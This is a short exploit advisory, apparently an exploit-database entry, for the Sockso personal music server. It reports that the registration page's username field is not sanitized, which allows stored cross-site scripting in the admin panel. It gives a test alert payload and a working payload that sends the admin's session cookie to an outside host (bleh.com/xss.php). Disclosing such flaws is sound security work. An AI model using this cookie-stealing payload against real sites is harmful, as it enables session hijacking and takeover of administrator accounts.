Sockso is a free, open-source, personal music host server for
everyone! It's designed to be as simple as possible so that anyone with
a mouse and some mp3's can get their friends listening to their music
across the internet in seconds!"

======
1) Bug
======

On Registration page (normally @ "4444/user/register") the username
input is never sanitized. This is then stored in the database of users
and displayed in the admin panel & user pages.

#######################################################################

==============
2) The exploit
==============

Using a username value of...

<script>alert('xss');</script>

Or the admin cookie session can also be retrieved by using...

<script >new Image().src="bleh.com/xss.php?c="+encodeURI(document.cookie)</script>
